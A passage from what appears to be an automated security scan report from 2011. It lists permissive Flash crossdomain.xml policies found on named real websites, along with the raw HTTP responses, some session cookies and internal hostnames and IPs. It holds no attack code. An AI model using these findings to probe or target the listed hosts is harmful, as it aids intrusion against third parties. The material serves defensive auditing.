5.38. http://www.ad4mat.de/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ad4mat.de
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.ad4mat.de

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:39:38 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
Last-Modified: Wed, 15 Jul 2009 17:09:21 GMT
ETag: "298327-13e-46ec19dbd1240"
Accept-Ranges: bytes
Content-Length: 318
Connection: close
Content-Type: application/xml
Set-Cookie: ad4mat_lb=616182620.20480.0000; path=/

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only"/
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

5.39. http://www.allvoices.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.allvoices.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.allvoices.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:42:24 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Fri, 04 Feb 2011 19:44:52 GMT
ETag: "20a8484-65-49b7a1d9d3500"
Accept-Ranges: bytes
Content-Length: 101
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.40. http://www.au2m8.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.au2m8.com

Response

HTTP/1.1 200 OK
Set-Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; path=/
Date: Sat, 05 Feb 2011 23:08:12 GMT
Server: Apache
Last-Modified: Wed, 03 Dec 2008 12:41:21 GMT
ETag: "a80cf-66-45d23c2d7be40"
Accept-Ranges: bytes
Content-Length: 102
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.41. http://www.baselinemag.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.baselinemag.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sat, 05 Feb 2011 23:01:28 GMT
Content-Type: text/xml
Connection: close
Last-Modified: Tue, 30 Mar 2010 15:40:49 GMT
ETag: "fe90c5-c5-48306742d2240"
Accept-Ranges: bytes
Content-Length: 197

<?xml version="1.0"?><!DOCTYPE cross-domain-policySYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.42. http://www.hemidemi.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.hemidemi.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain, and allows access from specific subdomains.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.hemidemi.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:16 GMT
Server: Apache/2.2.6 (Unix) PHP/5.2.5
Last-Modified: Sun, 26 Oct 2008 14:31:52 GMT
ETag: "c55f42-d0-e01c8600"
Accept-Ranges: bytes
Content-Length: 208
Vary: Accept-Encoding
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
<allow-access-from domain="ap5.hemidemi.com" />
<allow-access-from domain="www.hemidemi.com" />
</cross-domain-p
...[SNIP]...

5.43. http://www.manualsonline.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.manualsonline.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.manualsonline.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:39 GMT
Server: Apache/2.2.14 (Fedora)
Last-Modified: Wed, 26 Jan 2011 14:52:42 GMT
ETag: "2e60d2-ef-49ac0fc2c4280"
Accept-Ranges: bytes
Content-Length: 239
Connection: close
Content-Type: text/xml

<?xml version="1.0" ?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only"/>
<allow-access-from domain="*"/>
<allow-http-request-headers-from domain="*" heade
...[SNIP]...

5.44. http://www.zanox-affiliate.de/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zanox-affiliate.de
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.zanox-affiliate.de

Response

HTTP/1.1 200 OK
Content-Length: 330
Content-Type: text/xml
Last-Modified: Thu, 17 Sep 2009 16:58:09 GMT
Accept-Ranges: bytes
ETag: "5ed8c08b837ca1:4a9"
Server: Microsoft-IIS/6.0
P3P: policyref="http://www.zanox-affiliate.de/w3c/p3p.xml", CP="NOI CUR OUR STP"
X-Powered-By: ASP.NET
Date: Sun, 06 Feb 2011 17:39:23 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-on
...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

5.45. http://www91.intel.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www91.intel.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www91.intel.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:36:49 GMT
Server: Omniture DC/2.0.0
xserver: www419
Connection: close
Content-Type: text/html

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
<allow-http-request-headers-from domain="*" headers="*" secure="false" />
</cross-domain-policy>

5.46. http://yasnide.ivwbox.de/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://yasnide.ivwbox.de
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: yasnide.ivwbox.de

Response

HTTP/1.1 200 OK
Server: s2.30.1
Date: Sun, 06 Feb 2011 18:25:56 GMT
Last-Modified: Tue, 22 Aug 2000 15:05:01 GMT
P3P: policyref=http://p3p.infonline.de/p3p.xml, CP=NOI DSP NID PSAa OUR NOR UNI COM NAV
Content-Length: 102
Content-Type: text/xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.47. http://ziffdavisbaseline.112.2o7.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ziffdavisbaseline.112.2o7.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ziffdavisbaseline.112.2o7.net

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:21:31 GMT
Server: Omniture DC/2.0.0
xserver: www67
Connection: close
Content-Type: text/html

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
<allow-http-request-headers-from domain="*" headers="*" secure="false" />
</cross-domain-policy>

5.48. http://a.ligatus.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://a.ligatus.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Request

GET /crossdomain.xml HTTP/1.0
Host: a.ligatus.com

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:44:12 GMT
Server: Apache
Last-Modified: Mon, 13 Sep 2010 13:56:24 GMT
ETag: "4885ee-71-4902476407200"
Accept-Ranges: bytes
Content-Type: text/xml
Cache-Control: private, max-age=600
Age: 0
Expires: Sun, 06 Feb 2011 17:54:12 GMT
Connection: close

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.ligatus.com" />
</cross-domain-policy>

5.49. http://a.ligatus.de/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://a.ligatus.de
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: a.ligatus.de

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:43:12 GMT
Server: Apache
Last-Modified: Mon, 13 Sep 2010 13:56:24 GMT
ETag: "4885ee-71-4902476407200"
Accept-Ranges: bytes
Content-Type: text/xml
Cache-Control: private, max-age=600
Age: 0
Expires: Sun, 06 Feb 2011 17:53:12 GMT
Connection: close

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.ligatus.com" />
</cross-domain-policy>

5.50. http://api.tweetmeme.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://api.tweetmeme.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: api.tweetmeme.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 06 Feb 2011 13:21:43 GMT
Content-Type: text/xml; charset='utf-8'
Connection: close
P3P: CP="CAO PSA"
Expires: Sun, 06 Feb 2011 13:26:43 +0000 GMT
Etag: edc33ef1e6bd30dda068b8d6a45f5a7f
X-Served-By: ded2062

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="*.break.com" secure="true"/><allow-access-from domain="*.nextpt.com" secure="true"/>
...[SNIP]...

5.51. http://appcdn.wibiya.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://appcdn.wibiya.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: appcdn.wibiya.com

Response

HTTP/1.0 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=86400
Content-Type: application/xml
Date: Sat, 05 Feb 2011 23:08:11 GMT
ETag: "e08d12-142-496438084ba80"
Expires: Sun, 06 Feb 2011 23:08:12 GMT
Last-Modified: Tue, 30 Nov 2010 11:29:30 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.4 with Suhosin-Patch
Content-Length: 322
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.cooliris.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.wibiya.com" secure="false" />
...[SNIP]...

5.52. http://b.static.ak.fbcdn.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://b.static.ak.fbcdn.net
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: b.static.ak.fbcdn.net

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy;charset=utf-8
X-Cnection: close
Date: Sat, 05 Feb 2011 22:44:06 GMT
Content-Length: 1581
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-only" /
...[SNIP]...
<allow-access-from domain="s-static.facebook.com" />
   <allow-access-from domain="static.facebook.com" />
   <allow-access-from domain="static.api.ak.facebook.com" />
   <allow-access-from domain="*.static.ak.facebook.com" />
   <allow-access-from domain="s-static.thefacebook.com" />
   <allow-access-from domain="static.thefacebook.com" />
   <allow-access-from domain="static.api.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.fbcdn.com" />
...[SNIP]...
<allow-access-from domain="*.static.ak.fbcdn.net" />
   <allow-access-from domain="external.ak.fbcdn.net" />
   <allow-access-from domain="www.facebook.com" />
   <allow-access-from domain="www.new.facebook.com" />
   <allow-access-from domain="register.facebook.com" />
   <allow-access-from domain="login.facebook.com" />
   <allow-access-from domain="ssl.facebook.com" />
   <allow-access-from domain="secure.facebook.com" />
   <allow-access-from domain="ssl.new.facebook.com" />
   <allow-access-from domain="static.ak.fbcdn.net" />
   <allow-access-from domain="fvr.facebook.com" />
   <allow-access-from domain="s-static.ak.facebook.com" />
   <allow-access-from domain="www.latest.facebook.com" />
   <allow-access-from domain="www.inyour.facebook.com" />
   <allow-access-from domain="s-static.ak.fbcdn.net" />
...[SNIP]...

5.53. http://chitika.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://chitika.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: chitika.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:47:00 GMT
Server: Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.10
Last-Modified: Fri, 19 Jun 2009 18:59:40 GMT
Accept-Ranges: bytes
Content-Length: 161
Vary: Accept-Encoding
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*chitika.com" />
<allow-access-from domain="*chitika.net" />
</cross-domain-policy>

5.54. http://current.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://current.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: current.com

Response

HTTP/1.0 200 OK
Last-Modified: Tue, 11 May 2010 19:15:29 GMT
Accept-Ranges: bytes
Content-Length: 676
Content-Type: text/xml
Date: Sat, 05 Feb 2011 22:47:25 GMT
Server: Apache
Vary: Accept-Encoding
X-Cache: HIT from current.com
X-Cache-Lookup: HIT from current.com:3128
Via: 1.0 current.com:3128 (squid)
Connection: close
Keep-Alive: timeout=30, max=100

<?xml version="1.0"?>
<cross-domain-policy>
   <allow-access-from domain="*.current.com" />
   <allow-access-from domain="*.currentmedia.com" />
   <allow-access-from domain="*.crtcdn.net" />
   <allow-access-from domain="*.crtcdn1.net" />
...[SNIP]...

5.55. http://d.ligatus.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://d.ligatus.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: d.ligatus.com

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
ETag: W/"315-1288858532000"
Last-Modified: Thu, 04 Nov 2010 08:15:32 GMT
Content-Type: application/xml
Content-Length: 315
Date: Sun, 06 Feb 2011 17:44:28 GMT
Connection: close
Server: Apache

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.ligatus.com"/>
<allow-access-from domain="*.net5.nl"/>
<allow-access-from domain="*.sbs6.nl"/>
<allow-access-from domain="*.veronicatv.nl"/>
<allow-access-from domain="*.adverterenbijsbs.nl"/>
...[SNIP]...

5.56. http://developers.facebook.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://developers.facebook.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: developers.facebook.com

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy;charset=utf-8
Connection: close
Content-Length: 1581

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-only" /
...[SNIP]...
<allow-access-from domain="s-static.facebook.com" />
   <allow-access-from domain="static.facebook.com" />
   <allow-access-from domain="static.api.ak.facebook.com" />
   <allow-access-from domain="*.static.ak.facebook.com" />
   <allow-access-from domain="s-static.thefacebook.com" />
   <allow-access-from domain="static.thefacebook.com" />
   <allow-access-from domain="static.api.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.fbcdn.com" />
   <allow-access-from domain="external.ak.fbcdn.com" />
   <allow-access-from domain="*.static.ak.fbcdn.net" />
   <allow-access-from domain="external.ak.fbcdn.net" />
   <allow-access-from domain="www.facebook.com" />
   <allow-access-from domain="www.new.facebook.com" />
   <allow-access-from domain="register.facebook.com" />
   <allow-access-from domain="login.facebook.com" />
   <allow-access-from domain="ssl.facebook.com" />
   <allow-access-from domain="secure.facebook.com" />
   <allow-access-from domain="ssl.new.facebook.com" />
   <allow-access-from domain="static.ak.fbcdn.net" />
   <allow-access-from domain="fvr.facebook.com" />
   <allow-access-from domain="s-static.ak.facebook.com" />
   <allow-access-from domain="www.latest.facebook.com" />
   <allow-access-from domain="www.inyour.facebook.com" />
   <allow-access-from domain="s-static.ak.fbcdn.net" />
...[SNIP]...

5.57. http://friendfeed.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://friendfeed.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: friendfeed.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:49:12 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 321
Vary: Cookie
Server: FriendFeedServer/0.1
Etag: "d69a789b2865b15041af5e97e97c7b933b34666a"
Cache-Control: private
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: AT=9279066392190907013_1296946152; Domain=.friendfeed.com; Path=/

<cross-domain-policy xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="*.friendfeed.com"/>
<site-control permitted-cross-domain-policies="mast
...[SNIP]...

5.58. http://geo.yahoo.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://geo.yahoo.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: geo.yahoo.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:48:41 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Last-Modified: Mon, 21 Aug 2006 16:30:13 GMT
Accept-Ranges: bytes
Content-Length: 228
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.yahoo.com" secure="false" />
...[SNIP]...

5.59. http://googleads.g.doubleclick.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: googleads.g.doubleclick.net

Response

HTTP/1.0 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/x-cross-domain-policy; charset=UTF-8
Last-Modified: Thu, 04 Feb 2010 20:17:40 GMT
Date: Sat, 05 Feb 2011 19:02:26 GMT
Expires: Sun, 06 Feb 2011 19:02:26 GMT
X-Content-Type-Options: nosniff
Server: cafe
X-XSS-Protection: 1; mode=block
Age: 9977
Cache-Control: public, max-age=86400

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="maps.gstatic.com" />
<allow-access-from domain="maps.gstatic.cn" />
<allow-access-from domain="*.googlesyndication.com" />
<allow-access-from domain="*.google.com" />
<allow-access-from domain="*.google.ae" />
<allow-access-from domain="*.google.at" />
<allow-access-from domain="*.google.be" />
<allow-access-from domain="*.google.ca" />
<allow-access-from domain="*.google.ch" />
<allow-access-from domain="*.google.cn" />
<allow-access-from domain="*.google.co.il" />
<allow-access-from domain="*.google.co.in" />
<allow-access-from domain="*.google.co.jp" />
<allow-access-from domain="*.google.co.kr" />
<allow-access-from domain="*.google.co.nz" />
<allow-access-from domain="*.google.co.sk" />
<allow-access-from domain="*.google.co.uk" />
<allow-access-from domain="*.google.co.ve" />
<allow-access-from domain="*.google.co.za" />
<allow-access-from domain="*.google.com.ar" />
<allow-access-from domain="*.google.com.au" />
<allow-access-from domain="*.google.com.br" />
<allow-access-from domain="*.google.com.gr" />
<allow-access-from domain="*.google.com.hk" />
<allow-access-from domain="*.google.com.ly" />
<allow-access-from domain="*.google.com.mx" />
<allow-access-from domain="*.google.com.my" />
<allow-access-from domain="*.google.com.pe" />
<allow-access-from domain="*.google.com.ph" />
<allow-access-from domain="*.google.com.pk" />
<allow-access-from domain="*.google.com.ru" />
<allow-access-from domain="*.google.com.sg" />
<allow-access-from domain="*.google.com.tr" />
<allow-access-from domain="*.google.com.tw" />
<allow-access-from domain="*.google.com.ua" />
<allow-access-from domain="*.google.com.vn" />
<allow-access-from domain="*.google.de" />
<allow-access-from domain="*.google.dk" />
<allow-access-from domain="*.google.es" />
<allow-access-from domain="*.google.fi" />
<allow-access-from domain="*.google.fr" />
<allow-access-from domain="*.google.it" />
<allow-access-from domain="*.google.lt" />
<allow-access-from domain="*.google.lv" />
<allow-access-from domain="*.google.nl" />
<allow-access-from domain="*.google.no" />
<allow-access-from domain="*.google.pl" />
<allow-access-from domain="*.google.pt" />
<allow-access-from domain="*.google.ro" />
<allow-access-from domain="*.google.se" />
<allow-access-from domain="*.youtube.com" />
<allow-access-from domain="*.ytimg.com" />
<allow-access-from domain="*.2mdn.net" />
<allow-access-from domain="*.doubleclick.net" />
<allow-access-from domain="*.doubleclick.com" />
...[SNIP]...

5.60. http://messenger.yahoo.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://messenger.yahoo.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: messenger.yahoo.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:23 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Last-Modified: Mon, 21 Aug 2006 16:30:13 GMT
Accept-Ranges: bytes
Content-Length: 228
Connection: close
Content-Type: application/x-httpd-php

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.yahoo.com" secure="false" />
...[SNIP]...

5.61. http://multiply.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://multiply.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: multiply.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:23 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29
Set-Cookie: uid=A:1:U2FsdGVkX19SPjRxOe1rQKRUhZatqSHTVwUlBeBnB-hm4X.cCUH0Pw%3d%3d:mgkwrbaa8gcoowdw3utv5rp; domain=multiply.com; path=/
Set-Cookie: session=1296946703:1296946703:1296946703:1::; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: initial_anon_referrer=; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: language=en; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: session=1296946703::1296946703:1::0; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
P3P: policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa TAIa PSAa PSDa OUR NOR PHY UNI COM DEM PRE"
Expires: Wed, 13 Apr 2005 10:02:00 GMT
Pragma: no-cache
Cache-Control: max-age=0
Content-Type: text/html; charset=utf-8
X-Cache: MISS from multiply.com
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-http-request-headers-from domain="*.multiply.c
...[SNIP]...
<allow-access-from domain="*.multiply.com"/>
<allow-access-from domain="*.scanscout.com"/>
...[SNIP]...

5.62. http://officedepot.shoplocal.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://officedepot.shoplocal.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: officedepot.shoplocal.com

Response

HTTP/1.0 200 OK
Content-Type: text/xml
Last-Modified: Tue, 18 Jan 2011 23:05:52 GMT
Accept-Ranges: bytes
ETag: "0c8ae4064b7cb1:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
P3P: CP="NON DSP TAIa PSAa PSDa OUR NOR IND ONL UNI COM NAV INT"
Content-Length: 5172
Date: Sat, 05 Feb 2011 22:58:22 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.crossmediaservices.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.shoplocal.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.target.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.publix.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.homedepot.com" />
<allow-access-from domain="instorespecials.staples.com" />
<allow-access-from domain="weeklyad.staples.com" />
<allow-access-from domain="weeklyad.circuitcity.com" />
<allow-access-from domain="www.jcpstoreads.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="192.168.0.251" />
<allow-access-from domain="10.200.1.53" />
<allow-access-from domain="10.200.1.59" />
<allow-access-from domain="10.200.1.61" />
<allow-access-from domain="v-devweb1" />
<allow-access-from domain="d-pshahrava" />
<allow-access-from domain="192.168.0.9" />
<allow-access-from domain="192.168.0.10" />
<allow-access-from domain="192.168.0.111" />
<allow-access-from domain="192.168.0.36" />
<allow-access-from domain="172.16.200.22" />
<allow-access-from domain="172.16.200.23" />
<allow-access-from domain="d-dmoore2" />
<allow-access-from domain="vqascweb1" />
<allow-access-from domain="vqascweb2" />
<allow-access-from domain="localhost" />
<allow-access-from domain="devweb1" secure="false"/>
...[SNIP]...
<allow-access-from domain="media.pointroll.com" secure="true" />
...[SNIP]...
<allow-access-from domain="www.pointroll.com" secure="true" />
...[SNIP]...
<allow-access-from domain="data.pointroll.com" secure="true" />
...[SNIP]...
<allow-access-from domain="speed.pointroll.com" secure="true" />
...[SNIP]...
<allow-access-from domain="mirror.pointroll.com" secure="true" />
...[SNIP]...
<allow-access-from domain="geo.pointroll.com" />
<allow-access-from domain="*.pointroll.com" />
<allow-access-from domain="*.doubleclick.net" />
<allow-access-from domain="ad.doubleclick.net" />
<allow-access-from domain="m.doubleclick.net" />
<allow-access-from domain="m2.doubleclick.net" />
<allow-access-from domain="m3.doubleclick.net" />
<allow-access-from domain="m.2mdn.net" />
<allow-access-from domain="m1.2mdn.net" />
<allow-access-from domain="m2.2mdn.net" />
<allow-access-from domain="creatives.doubleclick.net" />
<allow-access-from domain="motifcdn2.doubleclick.net" />
<allow-access-from domain="motifcdn.doubleclick.net" />
<allow-access-from domain="*.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="dfa.doubleclick.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.redcated" secure="true" />
...[SNIP]...
<allow-access-from domain="*.atlasrichmedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="www.ippixel.com" />
<allow-access-from domain="www.wearepixel.com" />
<allow-access-from domain="www.yourlexusdealer.com" />
<allow-access-from domain="yourlexusdealer.com" />
<allow-access-from domain="devcpd1.yourlexusdealer.com" />
<allow-access-from domain="staging.yourlexusdealer.com" />
<allow-access-from domain="*.aolcdn.com" />
<allow-access-from domain="zshalla.desktop.amazon.com" />
<allow-access-from domain="snowbank.amazon.com" />
<allow-access-from domain="weeklyad.amazon.com" />
